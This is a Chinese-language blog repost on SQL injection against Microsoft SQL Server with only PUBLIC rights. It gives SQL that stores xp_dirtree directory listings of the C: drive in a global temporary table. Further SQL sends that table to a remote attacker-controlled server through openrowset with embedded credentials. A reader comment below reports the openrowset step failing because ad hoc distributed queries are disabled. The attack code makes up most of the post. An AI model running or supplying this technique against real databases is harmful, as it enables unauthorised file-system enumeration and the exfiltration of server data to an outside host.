MSSQL注入PUBLIC权限下的xp_dirtree再度利用

软件作者:kj021320
信息来源:I.S.T.O技术团队([url]http://blog.csdn.net/I_S_T_O/[/url])
本 来这文章在TEAM里面放了好久的了!只是<<art of sql injection>>的一个小部分,可惜写了好久资料收集了好多但是估计年底都没能出来~那就先发出来了!主要是MSSQL2005都来 了!2K的话没多久就会给淘汰了~拿出来跟大家交流吧~广告说完了...
正文:
提起 public 权限的用户估计很多人也觉得郁闷了吧 ~N 久以前看了一篇《 论在 mssql public db_owner 权限下拿到 webshell 或是系统权限 》的文章 ( 名字真长 -_-!!!), 里面说到没办法利用 xp_regread,xp_dirtree… 这些存储过程 , 原因是 public 没有办法建表 , 我在这里矫正一下其实 public 是可以建表的 ~ 呵呵 , 使这些存储过程能利用上 , 看下面的代码吧
-- 建立一个临时表 , 一般的表我们是无办法建立的 , 我们只能建立临时表
create table ##nonamed(
       dir ntext,
       num int
)
-- 调用存储过程把执行回来的数据存到临时表里面
insert ##nonamed execute master..xp_dirtree 'c:\',1
-- 然后采用 openrowset 函数把临时表的数据导到本地 MSSQL dirtree 表里面了
insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree')
select * from ##nonamed
以上方法 , 也就是说 public 可以遍历用户服务器的目录 具体有什么利用价值嘛 ~ 呵呵见仁见智了


俺执行到
insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree')
select * from ##nonamed
这里的时候 就不行了。郁闷。显示
Microsoft OLE DB Provider for SQL Server error '80040e14'
SQL Server blocked access to STATEMENT 'OpenRowset/OpenDatasource' of component 'Ad Hoc Distributed Queries' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'Ad Hoc Distributed Queries' by using sp_configure. For more information about enabling 'Ad Hoc Distributed Queries', see "Surface Area Configuration" in SQL Server Books Online.


你可能感兴趣的:(数据库,职场,休闲,mssql注入,PUBLIC权限)